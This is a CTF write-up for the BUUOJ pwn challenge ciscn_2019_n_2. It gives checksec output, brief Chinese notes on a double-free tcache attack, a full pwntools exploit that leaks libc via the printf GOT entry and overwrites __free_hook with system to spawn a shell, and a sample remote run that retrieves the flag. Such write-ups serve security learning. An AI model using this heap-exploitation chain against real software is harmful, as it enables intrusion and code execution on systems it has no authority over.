WriteUp: Baby Tcache (ciscn_2019_n_2)

0x0 Checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

0x1 Reverse Enginnering

很简单的程序,

0x2 Analyze

主要过程

    1. delete函数有double free漏洞
    1. 利用double free构造Write After Free
    1. 利用Write After Free修改T-cache中chunk,从而构造任意地址写
    1. 由于需要泄露libc地址,因此,利用任意地址写,控制chunkList指针数组(即User数组)
    1. 通过变更chunkList数组中的指针指向got[printf], 然后display对应user信息,获取libcprintf函数地址,从而获取libc偏移
    1. 通过变更chunkList数组中指针,指向libc.sym.__free_hook;edit对应user信息,从而将libc.sym.system写入__free_hook
    1. 构造包含/bin/sh\0chunkdeleteuser,从而触发__free_hook.获取shell

0x3 Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!python3
from pwn import *
from LibcSearcher import *

context.clear(arch='amd64', os='linux')
elf = context.binary = ELF("bin")
libc = elf.libc

context.terminal = ["tmux", "split", "-h"]

if args.LOG:
context.log_level = 'debug'

gs = '''
continue
'''

# ============================= Help Functions =======================================

def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('node4.buuoj.cn', 26880)
else:
return process(elf.path)

sla = lambda s, p: io.sendlineafter(s, p)
sa = lambda s, p: io.sendafter(s, p)
sl = lambda s: io.sendline(s)
rl = lambda : io.recvline()

def create(name, age):
sla(b'Your choice: ', b'1')
sa(b'name:', name)
sa(b'age:', str(age).encode())
ctn = rl()
idx = int(ctn[len("idx: "):-1])
return idx

def delete(idx):
sla(b'Your choice: ', b'2')
sla(b'Index:', str(idx).encode())

def edit(idx, name, age):
sla(b'Your choice:', b'3')
sla(b'Index:', str(idx).encode())
sa(b'name:', name)
sla(b'age:', str(age).encode())

def display(idx):
sla(b'Your choice:', b'4')
sla(b'Index:', str(idx).encode())
io.recvuntil(b'name: ',drop=True)
name = io.recvuntil(b"\nage: ",drop=True)
age = int(io.recvuntil(b"\nmoney: ",drop=True))
money = int(io.recvuntil(b"\n-----",drop=True))
return name, age, money

def add_money(idx):
sla(b'Your choice:', b'5')
sla(b'Index:', str(idx).encode())

def buy_gift(idx, address=None, size=None):
sla(b'Your choice:', b'6')
sla(b'Index:', str(idx).encode())
ctn = io.recv(2)
data = None
if ctn == b':(' or address is None or size is None:
return data
else:
sla(b"the address you want to leak:", address)
sla(b"the size you want to leak:", str(size).encode())
io.recvuntil(b'data:[[[',drop=True)
data = io.recvuntil(b']]]\n',drop=True)
return data

def leave():
sla(b'Your choice:', b'7')

# ============================= Payload ===================================
io = start()
io.timeout = 3000


log.info(f"chunkList: {hex(elf.sym.chunkList)}")

A = create(b'A', 0x10) # 0
B = create(b'B', 0x10) # 1
delete(A)
delete(B)

B0 = create(b'B', 0x10) # 0
delete(B)

B0name, B0age, B0money = display(B0)
Aaddr = u64(B0name.ljust(8, b'\0')) - 0x10
Baddr = Aaddr + 0x20

edit(B0, p64(elf.sym.chunkList), 0x10) #

B = create(b'/bin/sh\0', 0x111111) # 1
T = create(p64(Baddr + 0x10), elf.got['printf']) # 2 # change 0,1 pointer

libc_printf, _, _ = display(1)
libc_printf = u64(libc_printf.ljust(8, b'\0'))
log.info(f"libc_printf: {hex(libc_printf)}")
libc.address = libc_printf - libc.sym['printf']
log.success(f"libc.address: {hex(libc.address)}")

edit(T, p64(Baddr + 0x10), libc.sym.__free_hook) #
edit(1, p64(libc.sym.system), libc.sym.system)

delete(0)

# ============================= Get Shell ========================================
time.sleep(0.2)
sl(b"cat flag")
flag = rl()
log.success(f"flag: {flag}")

# io.interactive()
io.close()

0x4 Output Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
╰─$ python xpl.py REMOTE                                                                                                                                                                1 ↵
[*] 'ciscn_2019_n_2/bin'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
[*] 'libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to node4.buuoj.cn on port 26880: Done
[*] chunkList: 0x602060
[*] libc_printf: 0x7fa3a8db6e80
[+] libc.address: 0x7fa3a8d52000
[+] flag: b'flag{a7b5d398-\\\\-4e6a-////-30ab65387675}\n'
[*] Closed connection to node4.buuoj.cn port 26880

0x5 The Challenge

https://buuoj.cn/challenges#ciscn_2019_n_2